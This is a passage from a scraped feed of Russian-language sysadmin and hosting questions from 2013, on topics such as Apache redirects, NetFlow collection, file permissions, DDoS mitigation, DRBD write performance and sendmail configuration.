Redirect 301 /product_66.html www.site.ru/products/tovar2

Redirect 301 /product_173.html www.site.ru/products/tovar3



Однако при переходе по адресу /product_49.html мы попадаем на адресс products/ololo1?module=PageView&page_url=product_49.html


то же самое при использовании синтаксиса:


RewriteRule ^old_page.html$ /new_page [R=301,L]


В чем может быть дело? Как это исправить? Заранее спасибо.
 

2013.04.02, 13:51:53   #Системное администрирование - #37705


Доброго времени суток!

Проблема в следующем — в корпоративной сети, состоящей из большого количества маршрутизаторов и ворочающей довольно большой объем трафика, в качестве коллектора для NetFlow стоит ManageEngine NetFlow Analyzer, честно купленный компанией. Система — коллектор расположена на выделенном для этой цели отдельном сервере под Win2008.

Для разных маршрутизаторов на сервере в разделе статистики объем неразобранного трафика варьируется от 5 до 95 процентов (трафик помечен как «unaccounted»). Весь остальной трафик прекрасно разбирается по IP-адресам, VLAN-ам, типу трафика, прочим признакам, с красивыми графиками и т.д. — все стабильно работает.

Стандартное решение типа простого и более фееричного не помогают, да и не объясняют происходящего.

Уловить хоть какую-то связь между неопознанным трафиком и настройками разных сегментов сети так и не смог.

Взял отдельный чистый маршрутизатор, настроил на скорую руку интерфейс, сенсор NetFlow и адрес отправки обновлений. Сервер его увидел, включил в статистику. Я попинговал сеть, намотал 50 Кб трафика, из них 20 Кб сервер не распознал.


Прошу помощи в поисках потерянного трафика, и заранее спасибо, господа!
 

2013.04.04, 09:34:19   #Системное администрирование - #37813


Пожалуйста, помогите разобраться!

Запустил VPS под Ubuntu. Стандартный набор софта vsftpd+Apache2+MySQL+PHP. Все хорошо, все замечательно, есть только одна проблема — по FTP могу спокойно редактировать файлы, т.к. все делается от имени пользователя, а Apache все делает под пользователем www-data и любые изменения по HTTP (загрузка или редактирование файлов) проходят только если стоит 777.

Я уже попробовал добавить пользователя www-data в группы всех пользователей и выставить 775 на файлы, но запись все равно не разрешается.
 

2013.04.04, 21:32:25   #Серверы - #37869


В общем хочется проверить работоспособность антивируса и антиспама собственного почтовика, каким образом это вообще можно сделать? Понимаю что под этой фразой может скрываться на самом деле злой умысел, но нет. Может быть есть какой то сервис для этого — предоставить ему данные о том что домен принадлежит мне и я сам хочу устроить тест, а не засыпать почтовик конкурента. Подскажите что-нить дельное плиз.
 

2013.04.05, 09:03:28   #Хостинг - #37895


Собственно сабж. Насколько будет правильным работа NodeJS и MongoDB на одном VPS? Сколько монге нужно оперативной памяти? Или лучше все же разнести их по разным серверам?
 

2013.04.05, 17:16:55   #Хостинг - #37931


Здравствуйте, имею сайты с низкой посещаемостью (до 1500). Тариф Анлим на FirstVDS.

Иногда все начинает тупить, сайты не открываются. Их неадекватная поддержка отвечая в лучшем случае на следующий день просит меня ограничить доступ поисковых ботов.

Я смотрю логи access и вижу что боты ходят не часто и нет «атаки запросами».

С учетом опыта у них — я подозреваю, что это какая-то нагрузка на виртуальную ноду с их стороны. такое уже было и меня переносили на другую ноду, но теперь включают дурачка.

Посмотрите пожалуйста, что это означает. Помогает только перезагрузка.

 

2013.04.08, 09:15:02   #Системное администрирование - #38043


Есть pptp VPN-сервер на Ubuntu 12.04. Наблюдаются проблемы с работой несольких программ, установленных на клиентских Windows-машинах.

В первую очередь — Проводник. При попытке зайти на компьютер в сети, где стоит сервер (через VPN) выдает ошибку о неверном адресе, хотя если в адресной строке вбить ip, проблем нет. Примерно то же самое происходит и с другим ПО. В частности, RDP крашится при попытке входа, и, почему-то, вместе с этим отключает VPN-соединение.

Объединяет все ПО одна интересная вещь: все программы используют имя Windows-машин для своей работы (браузеры совершенно спокойно работают с локальным веб-сервером, а вот программа для общения между сотрудниками, использующая в качестве имени пользователя название машины не работает).

В чем может быть причина? Как диагностировать проблему точнее?
 

2013.04.08, 09:40:57   #Серверы - #38045


Скажите, хабралюди, а кто-нибудь решал задачу мониторинга ошибок модулей памяти на серверах (вне зависимости от установленной ОС)?


Причём таким образом, чтобы эти данные можно было получать в какую-нибудь систему мониторинга (Zabbix, Nagios и т.п.) с различных узлов сети.
 

2013.04.08, 10:38:01   #Системное администрирование - #38047


После длительного отключения блейд серверов Sun (полгода), лезвия не определяются в шасси, не переходят в режим standby, и не включаются.
 

2013.04.09, 23:12:34   #Системное администрирование - #38161


Работаю под MacOS X 10.7.5, клиенты ForkLift 2.5.4, FireFTP.
Интернет-провайдер ДомРУ.
Недавно появилась такая тема – переписываю два десятка картинок jpg, которые сам создал из своих фотографий.
Некоторые картинки около 30Кб, некоторые около 300Кб. Часть файлов переписывается, часть – нет.
Пробовал три хостинга, sweb, valuehost, masterhost, везде картина одинаковая:
— файл 28,5Кб лихо переписывается до 28,5Кб, после чего скорость резко падает,
— ждем минуту и сервер выдает ошибку, причем на каждом хостинге ошибки разные.
— в результате имеем файл в папочке размером ZeroKb. Удаляем.
— объемные файлы при этом переписываются нормально, можно посмотреть картинку на сервере.
Вот что выдают сервера:
— 426 Failure reading network stream (masterhost)
— Copy error. Failed connect to server. (sweb, valuehost)
* * *
Такая ситуация возникла неожиданно, вчера. До этого всегда работал с FTP без проблем.
В результате скопировал файлы на флешку, переписал на работе (такой же Mac) – все ОК.
Вопрос – на кого грешить в данной ситуации, к кому обращаться?
И почему избирательно глючит, не на всех файлах?
 

2013.04.10, 12:37:51   #Системное администрирование - #38189


Что имеется:

1) С одной стороны есть Хранилище, которое расшаривает раздел по iSCSI

2) С другой стороны есть VmWare ESXi с виндовой VM внутри

Все находится в одной сети.


Есть два варианта:

1) Форматируем раздел как NTFS и монтируем его по iSCSI силами Windows Server

2) Форматируем раздел как VMFS и монтируем его по iSCSI как ресурс VmWare ESXI. Далее создаем там вирт. диск и подключаем его к ВМ


Вопрос: какой вариант оптимальнее: по скорости I/O, быстродействию?
 

2013.04.14, 22:31:24   #Системное администрирование - #38459


Приветствую.

Вопрос, собственно в том, как красиво и правильно аргументировать не ИТ-специалисту — клиенту, менеджеру надобность установки обновлений как на рабочие станции, так и на внутренние сервера.
Я администратор и понимаю зачем это надо, но красивых убедительных формулировок пока создать не могу — даже мой ИТ-подкованный шеф на установку апдейтов на внутренние сервера игнорирует мотивируя это правилом «работает — не трожь».
Спасибо за помощь.
 

2013.04.15, 07:41:18   #Системное администрирование - #38467


Помню, встречал утилиту, которая брала чужой локальный сокет и делала из него сетевой, адрес: порт. Сейчас не могу найти.
Какие есть инструменты для такого функционала, подскажите пожалуйста?
 

2013.04.15, 16:42:47   #Системное администрирование - #38517


Напишите, пожалуйста, оптимальные на ваш взгляд правила iptables для веб-сервера.
Нужно запретить по умолчанию все входящие подключения, разрешить все исходящие подключения, открыть некоторые порты (ssh, http) плюс разрешить любые соединения с определенным IP (моим).
 

2013.04.16, 08:29:05   #Системное администрирование - #38559


Подскажите, пожалуйста, способ как организовать следующее:
Есть некий сервис (написанный на PHP). Необходимо слать с него сообщения. Хотелось бы, чтобы рассылкой занимался отдельный сервер. Т.е. из PHP вызываем функцию mail, которая не отсылает непосредственно сообщение, а добавляет его в очередь для последующей отсылки почтовым сервером.
Скажите, можно ли такое организовать?
 

2013.04.16, 15:46:18   #Системное администрирование - #38587


Не склоняются названия месяцев на русском и на украинском языках:

вместо «16 Апреля» — «16 Апрель»
и вместо «16 Квітня» — «16 Квітень»


Сервер:

CentOS release 6.4 (Final)

PHP Version 5.3.3

Скрипт для теста:
 

2013.04.16, 19:43:55   #Хостинг - #38607


Имеется список реальных адресов клиентов обновляющийся каждую 1 минуту, имеется DDOS атака в 10Гбит.


Есть ли какие-то ДЦ, или же провайдеры которые могут запретить любой трафик с любых ip кроме указанных в списке? Запретить именно на входе в ДЦ, чтобы 10Гбит паразитного трафика не залетали в сеть ДЦ. При этом этот список чтобы провайдер тянул каждую минуту.


Заранее спасибо если кто либо может помочь.
 

2013.04.17, 13:11:35   #Хостинг - #38661


Недавно общался с экспертом — человеком, сделавшим не один десяток собственных веб-проектов, в том числе тех, которые способны кого-то разозлить. Зашел разговор о DDOS. При этом эксперт огласил следующую тезу:


1) Если вы крупная компания и т.п., то защищаться от DDOS придется, конечно же, аппаратными средствами (роутеры и/или размещение в специальных датацентрах фирм, предлагающих услуги защиты от DDOS).


2) Однако, если вы самый обычный SaaS-стартап, и вам просто хотят подленько нагадить ваши конкуренты, оплатив недорогой DDOS в вашу сторону, приуроченный к релизу вашего продукта, то просто выберите нормальный облачный хостинг и вообще не парьтесь! Никто не будет заниматься оплатой серьезных ботнетов «для вас».


Я пока только начинаю разбираться в этой теме, поэтому спорить с ним не стал, однако засомневался. Мой вопрос: действительно ли эксперт прав? И если частично неправ — поясните, пожалуйста, в чем именно. Спасибо!
 

2013.04.17, 16:49:18   #Хостинг - #38677


Столкнулся с такой проблемой: вполне стандартная VPS, Apache2 MPM prefork, Nginx для статики, ~50 не сильно сложных сайтов, около 10 гигабайт суточного трафика, 600000 файлов. Проблема заключается в следующем: периодически время генерации повышается до 3-10 секунд. Т.е. ходим по сайту — страницы генерируются за 200 мс, а потом ррраз и несколько раз отдаются от 3 до 10 секунд.

В логах ошибок — чистота, в top — все близко к нулю, CPU — 0-20%, свободной оперативки больше гига.

У меня есть и другие аналогично настроенные VPS с аналогичной нагрузкой, на них такой проблемы не наблюдается, да и на «проблемной» VPS до определенного момента всё было хорошо и в конфигурации ничего не менялось.

Возможно кто-то сталкивался с подобной проблемой или хотя подскажет в какую сторону копать.
 

2013.04.18, 10:20:40   #Серверы - #38715


Хочу такой компьютер
Я бы купил за 300-400 долларов персональный домашний сервер. Или даже несколько (себе, подруге, маме). Но у него должны быть такие характеристики:

Железо
Размер максимум как книга, минимум, чтобы в него помещался 2.5 HDD. Питание через адаптер (как телефон, или как ноут) Наличие небольшого аккумулятора малой емкости, но большого срока службы (на случай внезапных отключений, или чтобы переносить с места на место). Наличие WiFi (и обычной сети) Экономичное энергопотребление Никаких кулеров Способность останавливать «блинные» (не SSD) винты при длительном простое Порты для флешек и принтеров.
Софт
Самое главное, чтобы операционная система располагалась на флеш карте и при этом система должна работать с Read Only флешки. Настройки либо на той же флешке, либо на отдельной (этот вопрос требует проработки).

Все остальное — ssh, samba, http, dyn-dns или что-то еще сформируется в процессе эксплуатации.

Эксплуатация
Можно закинуть «за холодильник» или на шкаф, туда где найдется свободная розетка. А можно не выключая притащить и подключить к монитору (например для настроек).

Можно спрятать за принтер, а принтер подключить к серверу (хотя возможно лучше иметь принтер с wi-fi).

При небольшой сноровке можно загружать на «мамин» сервер фотки или сериалы. А она будет их смотреть по умному телевизору.

Я бы, как разработчик еще несколько сервисов поднял — базы данных, системы контроля версий.

Особенности
На винтах должны быть только пользовательские данные. Ось и настройки — на флешке (или на двух флешках).

Исполняемый код на флешках, флешки ReadOnly (все вирусы в лес!).

Обновление «прошивки» должно производиться путем копирования образа ОС на новую флешку (и перезапуск с новой флешки).
 

2013.04.19, 03:20:31   #Системное администрирование - #38753


Привет, %habrauser%.


Решились попробовать kmv на Hetzner. В целом всё работает — но недавно обнаружили странное потребление памяти.




Количество гостевых машин увеличилось на 1-2, а потребление памяти уменьшилось.

Машины отвечают, производительность правда пока не замеряли.


Вопрос: почему памяти уменьшилось и (если машины ушли в swap) как настроить или отследить чтобы такого не происходило?


Спасибо!
 

2013.04.19, 15:30:05   #Хостинг - #38783


На ovh.com взял в аренду дэдик kimsufi (ОС Windows 2008).

Через 3 месяца сервер упал. Помогла переустановка системы. Потерял несколько дней (пытался поднять сервер).

В этот раз на всякий случай поставил мониторинг CrystalDiskInfo.


И вот 5 дней спустя на email начали приходит тревожные сообщения:

TOSHIBA DT01ACA100 / Z29W8L5PS / C: D:

[601] Техсостояние: [Хорошее] -> [Тревога!]


TOSHIBA DT01ACA100 / Z29W8L5PS / C: D:

[603] Поломка: (C4) События переназначения [0->56]


TOSHIBA DT01ACA100 / Z29W8L5PS / C: D:

[602] Поломка: (05) Переназначенные сектора [0->46]


Что делать? Это диск сыпется? (там стоит рэйд из 2 дисков Тошиба).

Если сыпется диск и его надо срочно заменить, что писать в саппорт и как обосновать?

У кого есть опыт, помогите плиз, а то не хочется во второй раз простаивать пару суток.
 

2013.04.20, 13:14:23   #Хостинг - #38823


Сегодня мой хостер меня удивил так как отказался продать лицензию на plesk до 100 доменов за 12 евро для моей vps на моем же дедике. Сказал что продает только с установкой на сам дедик.
Отсюда вопрос где можно купить за цену около 12-15 евро лицензию за plesk 11 для моей vps?
Сходу в гугле ресселеров не нашел.
 

2013.04.22, 10:59:54   #Хостинг - #38909


Добрый день. Залил на Amazon маленький сайт и возникла пара вопросов. Это первый опыт размещения своего сайта, поэтому я не в курсе нюансов по управлению записями DNS.

1. Не получается правильно создать запись CNAME у регистратора.
Читал мануалы такие и такие. Не могу понять, какие проблемы могут быть с сайтом без www из статьи со stackoverflow. Точки в конце записей endpoint стоят. Как можно проверить, что сайт появился в DNS-записях регистратора?
2. Нет доступа к страницам, которые загружаются во фрейм на сайте.
Ошибка 403. «Make a public» делал.



Спасибо за помощь!
 

2013.04.22, 20:51:54   #Системное администрирование - #38959


Недавно задумался о безопасности своих сайтов. Уже сутки ищу решение, вот только ничего найти не могу. :(

Суть в следующем. В кладовке стоит домашний сервер на Ubuntu. Хотелось бы сделать так, чтобы регулярно с двух разных серверов выкачивался бекап сайтов, причём не только файлов, но ещё и mysql.

На одном сервере доступ только по ssh, на другом и ssh, и ftp.

Как лучше поступить? Какими утилитами можно воспользоваться?

Осложняется всё тем, что нужно, чтобы выкачивались только новые и изменённые файлы. Ибо если каждый день будут выкачиваться заного все сайты — сожру весь трафик. :) Ну и будет слишком долго.

Можете что-то посоветовать?
 

2013.04.23, 11:28:33   #Серверы - #38989


Домены, которые хостятся на ДНС руцентра второй день периодически недоступны.
Пробовали вынести в Hetzner, там через панель ДНС тоже не реагирует на внешние раздражители.
Какие у кого есть рекомендации, куда можно сбежать?
 

2013.04.23, 13:47:02   #Серверы - #39009


Здравствуйте! Если подержать вкладку с сайтом на node.js открытой достаточно долго (~ 30 мин), а затем обновить, то я наблюдаю 500 ошибку, а именно Connection closed.

В качестве БД использую Mongodb. В качестве библиотеки для работы с ней — Mongoose. Сессии храню в БД с помощью библиотеки connect-mongo (github).
Скриншот

Подозреваю, что ошибка именно в connect-mongo (возможно есть более удачное сочетание express + mongoose + sessions).

UPD: Время жизни сессии ~ пол месяца (в базе данных) и до закрытия браузера у клиента.
 

2013.04.23, 19:40:01   #Системное администрирование - #39057


Ищу альтернативу или особенную реализацию VNC можно и платную, основные хотелки смотрите ниже:

1) Автоматическое масштабирование экрана под размер монитора.
2) Передача буфера обмена.
3) Работа запущенных приложений при разорванном соединении, чтоб запустил, отключился, на следующий день подключился и созерцаешь результаты.
4) Шифрование соединения (куда без него).
5) Удалённое монтирование локальных дисков.
6) Совместная работа, т.е больше одного подключения на сеанс (не обязательно, но желательно)
7) Кроссплатформенный, на крайний случай debian + windows.

А также приветствуется куча настроек и остальных плюшек.
Работать всё это добро будет на сервере под debian, а клиенты на windows 7.
 

2013.04.24, 15:17:47   #Хостинг - #39115


Доброе время суток. Посоветуйте, если кто знает web-морду для mod_security. Достаточно будет смотреть логи, но конечно же лучше еще и работа с правилами. CentOS 6 x64; apache2; mod_security + правила уже взлетели.
 

2013.04.25, 17:56:33   #Системное администрирование - #39195


Приветствую!


Есть небольшая задачка, надеюсь, всезнающий Хабр поможет её решить.


Итак, есть ADSL роутер, который получает 1 белый IP-адрес (динамический) от провайдера. Далее имеем сервер с FreeBSD, который за NAT-ом с серым IP-адресом (статическим). На роутере настроен dynamic dns (dyndns.org). Периодически роутер переподключается к провайдеру, и IP-адрес меняется, однако сервис dyndns не обновляется, так как (я так полагаю), роутер и служба dyndns на нем так устроена, что информация будет синхронизироваться только 1 раз за 1 загрузку роутера. Грубо говоря, чтобы обновился IP-адрес модема на NS серверах dyndns, роутер надо перезагружать. Этот вариант неприемлем.


Что же интересует: нужно в каждый момент времени знать, какой же используется белый IP. Можно ли как-то с сервера с серым IP отправлять по крону белый IP роутера себе на почтовый ящик, к примеру, скриптом из консоли ssh? Если можно, то также интересует, как именно можно добыть этот белый IP? Может выполнить php cкрипт, как-то «грепнуть» IP, а далее уже отправить его на email или с помощью php-mail, или из консоли ssh с помощью sendmail?


В общем, буду рад любым предложенным решениям!

П.С. Если нужна еще какая-то дополнительная информация, предоставлю :)
 

2013.04.25, 19:47:26   #Системное администрирование - #39205


Привет всем!
По роду деятельности сейчас приходится часто реагировать на разные сетевые аварии и неполадки операторов в мире, в основном в Европе и Америке. Может быть посоветуете какие источники подобной информации используете вы? К примеру, твиттеры операторов, почтовые рассылки, мониторинги, публичные графики по трафику и т.д.?
К примеру, недавно нашел полезный твиттер оператора init7, где пишут об авариях и предупреждают о планируемых работах.
Непосредственно интересуют операторы TWC, AT&T, Level3, Noris, Vodafone ну и любые другие.
 

2013.04.27, 11:58:41   #Системное администрирование - #39291


Здравствуйте.


Имею следующий конфиг:


2 x IBM x3630, по 14 2Tb SATA-дисков в каждом, на каждом собран raid10 из 12 дисков, 2 в hot-spare.

Гигабитный линк между серверами.

DRBD поверх устройств raid10 (md-raid).


Производительность /dev/md127:

throughput ~ 900 MB/s


fio со следующим конфигом:
Конфиг fio[readtest] blocksize=4k filename=/dev/md/raid10 rw=randread direct=1 buffered=0 ioengine=libaio iodepth=16



выдает примерно такие цифры:
Вывод fioreadtest: (groupid=0, jobs=1): err= 0: pid=5009 read : io=38632KB, bw=3502.5KB/s, iops=875 , runt= 11030msec slat (usec): min=4 , max=135 , avg=15.63, stdev= 4.91 clat (msec): min=1 , max=149 , avg=18.19, stdev=12.39 lat (msec): min=2 , max=149 , avg=18.21, stdev=12.39 bw (KB/s) : min= 0, max= 3736, per=61.09%, avg=2139.33, stdev=1733.77 cpu : usr=1.16%, sys=2.03%, ctx=9085, majf=0, minf=36 IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.8%, 32=0.0%, &gt;=64=0.0% submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, &gt;=64=0.0% complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, &gt;=64=0.0% issued r/w/d: total=9658/0/0, short=0/0/0 lat (msec): 2=0.01%, 4=0.38%, 10=21.22%, 20=49.09%, 50=26.52% lat (msec): 100=2.63%, 250=0.16%


875 иопсов при задержке в 18 мс. Меня устраивают такие цифры, всё хорошо.


fio на запись — аналогично.
Конфиг fio[writetest] blocksize=4k filename=/dev/md/raid10 rw=randwrite direct=1 buffered=0 ioengine=libaio iodepth=16


Вывод fiowritetest: (groupid=0, jobs=1): err= 0: pid=5023 write: io=169624KB, bw=3912.7KB/s, iops=978 , runt= 43353msec slat (usec): min=2 , max=20841 , avg=10.85, stdev=101.29 clat (usec): min=15 , max=169027 , avg=16321.19, stdev=33566.14 lat (usec): min=267 , max=169040 , avg=16332.46, stdev=33566.13 bw (KB/s) : min= 2936, max= 7334, per=100.26%, avg=3922.26, stdev=526.96 cpu : usr=1.02%, sys=1.50%, ctx=40727, majf=0, minf=18 IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=100.0%, 32=0.0%, &gt;=64=0.0% submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, &gt;=64=0.0% complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, &gt;=64=0.0% issued r/w/d: total=0/42406/0, short=0/0/0 lat (usec): 20=0.01%, 250=0.01%, 500=33.40%, 750=9.47%, 1000=5.28% lat (msec): 2=18.85%, 4=13.12%, 10=1.09%, 20=0.87%, 50=1.70% lat (msec): 100=12.06%, 250=4.15%


978 iops при задержке до 17 мс. Тоже прекрасно.


Далее начинается самое интересное.


Создаю drbd-устройство со следующим конфигом:
resource r0 { device /dev/drbd0; disk /dev/md/raid10; meta-disk internal; on storage00 { address 192.168.254.10:7789; } on storage01 { address 192.168.254.11:7789; } net { max-buffers 8000; max-epoch-size 8000; } }

И получаю нечто, не поддающееся обработке разумом, а именно:


Throughput на чтение почти не деградирует (чего и следовало ожидать, чтение идёт с локальной ноды).

Throughput на запись фиксируется ровно на 60 МБ/с. Маловато, от гигабита я ожидал 110 МБ/с, тем более, что initial sync drbd-устройства происходил как раз на скорости 110 МБ/с.


Снова fio при StandAlone-устройстве. Чтение:
Конфиг fio[readtest] blocksize=4k filename=/dev/drbd0 rw=randread direct=1 buffered=0 ioengine=libaio iodepth=16

Вывод fioreadtest: (groupid=0, jobs=1): err= 0: pid=5214 read : io=154380KB, bw=3500.5KB/s, iops=875 , runt= 44103msec slat (usec): min=5 , max=417 , avg=17.87, stdev= 5.28 clat (msec): min=1 , max=209 , avg=18.25, stdev=12.51 lat (msec): min=1 , max=209 , avg=18.27, stdev=12.51 bw (KB/s) : min= 3048, max= 3840, per=100.16%, avg=3505.55, stdev=113.92 cpu : usr=1.02%, sys=2.17%, ctx=36213, majf=0, minf=37 IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=100.0%, 32=0.0%, &gt;=64=0.0% submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, &gt;=64=0.0% complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, &gt;=64=0.0% issued r/w/d: total=38595/0/0, short=0/0/0 lat (msec): 2=0.01%, 4=0.47%, 10=21.24%, 20=48.90%, 50=26.46% lat (msec): 100=2.79%, 250=0.13%


Запись:
Конфиг fio[readtest] blocksize=4k filename=/dev/drbd0 rw=randread direct=1 buffered=0 ioengine=libaio iodepth=16

Вывод fiowritetest: (groupid=0, jobs=1): err= 0: pid=5229 write: io=2396.0KB, bw=109341 B/s, iops=26 , runt= 22439msec slat (msec): min=8 , max=67 , avg=37.40, stdev= 9.43 clat (usec): min=440 , max=741029 , avg=553594.77, stdev=83784.27 lat (msec): min=40 , max=783 , avg=590.99, stdev=86.72 bw (KB/s) : min= 6, max= 131, per=98.23%, avg=104.12, stdev=19.29 cpu : usr=0.30%, sys=0.11%, ctx=601, majf=0, minf=20 IO depths : 1=0.2%, 2=0.3%, 4=0.7%, 8=1.3%, 16=97.5%, 32=0.0%, &gt;=64=0.0% submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, &gt;=64=0.0% complete : 0=0.0%, 4=99.8%, 8=0.0%, 16=0.2%, 32=0.0%, 64=0.0%, &gt;=64=0.0% issued r/w/d: total=0/599/0, short=0/0/0 lat (usec): 500=0.17% lat (msec): 50=0.17%, 100=0.17%, 250=0.83%, 500=14.36%, 750=84.31%


Чтение не деградировало или почти не деградировало. Запись деградировала во много раз (напоминаю, drbd находится в StandAlone-режиме)


Кроме того, присутствует страшная задержка на slat — больше 37 мс только на обработку io-запроса дисковым стеком.


Что я делаю не так с drbd? Это же ненормальное поведение, когда просто еще один слой (drbd over md) рубит производительность в сорок раз?


DRBD 8.3, ядро 3.5.0-27-generic, система Ubuntu 12.04 LTS. Планировщик io — cfq.


Помогите?
 

2013.04.27, 21:21:08   #Системное администрирование - #39319


А именно при администрировании не вычищать всегда эту гадость: guard, поиск, спутник и прочее, а создать некий черный список, даже еще неустановленных перечисленных программ.
 

2013.04.29, 11:17:52   #Системное администрирование - #39379


import fabric from fabric.api import * env.hosts = ['d1','d2','d3','e1','e2','e3','e4'] env.parallel = True env.use_ssh_config = True fabric.state.output['running'] = False @task def uname(): run('uname -a')

Результат:
iMac:Fabric-1.6.0 vizh$ fab uname [e1] out: Linux e1 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 GNU/Linux [e1] out: [e4] out: Linux e4 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 GNU/Linux [e4] out: [e3] out: Linux e3 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 GNU/Linux [e3] out: [e2] out: Linux e2 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 GNU/Linux [e2] out: [d2] out: Linux d2 2.6.32-5-686-bigmem #1 SMP Sun May 6 04:39:05 UTC 2012 i686 GNU/Linux [d2] out: [d1] out: Linux d1 2.6.32-5-686-bigmem #1 SMP Sun May 6 04:39:05 UTC 2012 i686 GNU/Linux [d1] out: [d3] out: Linux d3 2.6.32-5-686-bigmem #1 SMP Sun May 6 04:39:05 UTC 2012 i686 GNU/Linux [d3] out: Done.

Вопрос: как избежать вывода пустых строк, что бы получилось так:

iMac:Fabric-1.6.0 vizh$ fab uname [e1] out: Linux e1 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 GNU/Linux [e4] out: Linux e4 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 GNU/Linux [e3] out: Linux e3 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 GNU/Linux [e2] out: Linux e2 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 GNU/Linux [d2] out: Linux d2 2.6.32-5-686-bigmem #1 SMP Sun May 6 04:39:05 UTC 2012 i686 GNU/Linux [d1] out: Linux d1 2.6.32-5-686-bigmem #1 SMP Sun May 6 04:39:05 UTC 2012 i686 GNU/Linux [d3] out: Linux d3 2.6.32-5-686-bigmem #1 SMP Sun May 6 04:39:05 UTC 2012 i686 GNU/Linux Done.
 

2013.04.30, 10:39:20   #Хостинг - #39439


нужен вменяемый относительно недорогой хостер — сайт простой, с VDS заморачиваться не хочется.


нагрузка на сервер будет небольшая, но будут закачиваться файлы примерно по ~40MB


как выяснилось найти такой виртуальный тариф довольно проблематично т.к. почти у всех upload_max_filesize 32
 

2013.04.30, 12:32:56   #Хостинг - #39445


Есть сайт, на который пользователи могут загружать свои видеоролики. Роликов очень много, поэтому возник вопрос с их хранением. Есть идея заливать их на youtube или еще куда-то, и используя API подобных сервисов, отдавать их пользователю. Или есть еще какие возможные пути решения проблемы, связанные с их хранением. Увеличивать место под хранение на самом сервере нет возможности.
 

2013.05.01, 12:04:04   #Системное администрирование - #39491


Последнее время часто стало исчезать место на диске, и появляться обратно после перезагрузки апача.
Хостер настаивает на том, что это связано с тем, что где-то в каких-то скриптах на php не закрываются файлы, и они висят до перезагрузки. Возможно саппорт не очень внятно выразился и пропадает не место, а дескрипторы. Не суть.

От мысли о том, чтобы искать такую ошибку в скриптах меня останавливает даже не то, что скрипты писали прямыми руками, а упорная мысль, что файлы ДОЛЖНЫ закрываться в конце работы скрипта автоматически.

К сожалению не нашел в документации подтверждение этому, но мне кажется то настолько естественным… По моему мнению даже exit в обработчике из register_shutdown_function не должен отменять этого.
 

2013.05.04, 16:49:50   #Хостинг - #39615


Добрый день.


Задача:

1. Загрузить изображения на сервис в полном размере.

2. Получить список изображений по тэгу или альбому, отобразить мелкие изображения (примерно 240х240) как список. Предполагается, что мелкие изображения генерятся сервисом.

3. По клику загружается большое изображение.


Хостил изображения для мобильного приложения для отправки открыток на Flickr, но они поменяли политику добавления изображений и теперь я не могу добавлять произвольные/чужие картинки в свой аккаунт и соответственно свою группу.


В данный момен остановился на imageshack.us. Но у них беда с сортировкой по добавлению и неправильно показывается дата добавления фотографии (точней иногда сбрасывается, а на основе этого я сортирую фотографии перед показом)


Также смотрел на imgur.com — просят 25$ — дороговато
cloudinary.com — 39$


Заранее спасибо!
 

2013.05.05, 16:06:03   #Хостинг - #39637


Проблема появляется тогда, когда какой-либо из скрипов создает папку на сервере, к примеру если я устанавливаю CMS которая сама себя распаковывает из архива, в эту папку я не могу ничего загрузить. FTP-клиент выдает ошибку — 550 Request.php: Permission denied

Решается все звонком в техподдержку с запросом сбросить права на нужную папку. Делают это администраторы обычно в течение суток.

Существует ли какой-нибудь способ избежать этой ошибки? Может подскажу им, а то они уже года два с ней в ручную разбираются.
 

2013.05.05, 23:34:41   #Системное администрирование - #39655


С администированием серверов никогда не сталкивался, linux только на клиенте использовал.Просьба кинуть в меня ссылками на наименее замороченные и максимально наглядные средства мониторинга ресурсов сервера на ubuntu/nginx/php. Хотелось бы — просмотр нагрузки на сервер с графиками, просмотр доступных ресурсов, процессов, мониторинг сети.
 

2013.05.08, 10:49:21   #Хостинг - #39777


Ситуация: есть VPS с кучей сайтов-визиток, почтового трафика почти нет, единственное что отправляется — всякие сообщения владельцам сайтов, например «Новая запись в гостевой книге».

При каждой перезагрузке или рестарте сетевых интерфейсов в /etc/hosts автоматически вставляется сгенерированное хостинг провайдером
*.*.*.* vps_id.hostingdomain.tld vps_id

Где вместо * — IP сервера, vps_id — номер клиента. В /etc/hostname также при каждом удобном случае вставляется значение по умолчанию. Соответственно заменить host я не могу.

Теперь проблема: гугл стал отказываться принимать письма с этого сервера, поэтому решено было слать всю почту с одного общего ящика robot@domain.tld, прописав на домене SPF запись на IP-адрес VPS.

Подскажите, где можно почитать про настройку sendmail'a на Debian в условиях, когда название хоста поменять нельзя?


Вот так вот Google мне сообщает, что мой IP-адрес не авторизован на отправку сообщений от имени vps_id.hostingdomain.tld:
Diagnostic-Code: SMTP; 550-5.7.1 The IP you're using to send mail is not authorized to send email directly to our servers. Please use the SMTP relay at your service provider instead.
 

2013.05.08, 23:14:58   #Системное администрирование - #39811


Всем доброго здравия и с праздничками.

Имеется проблемка следующего характера. Раньше на сервере(колокейшн) был прикреплен 1 ip, таким вот образом в /etc/network/interfaces
auto eth0 iface eth0 inet static address A.A.A.B netmask N.N.N.N gateway A.A.A.A

где A.A.A.A определенный шлюз.
Дальше по запросу выделили второй IP. Да только этот IP уже находится не в подсети A.A.A.A а в подсети B.B.B.B

если дописать
auto eth0:1 iface eth0:1 inet static address B.B.B.C netmask N.N.N.N gateway B.B.B.B

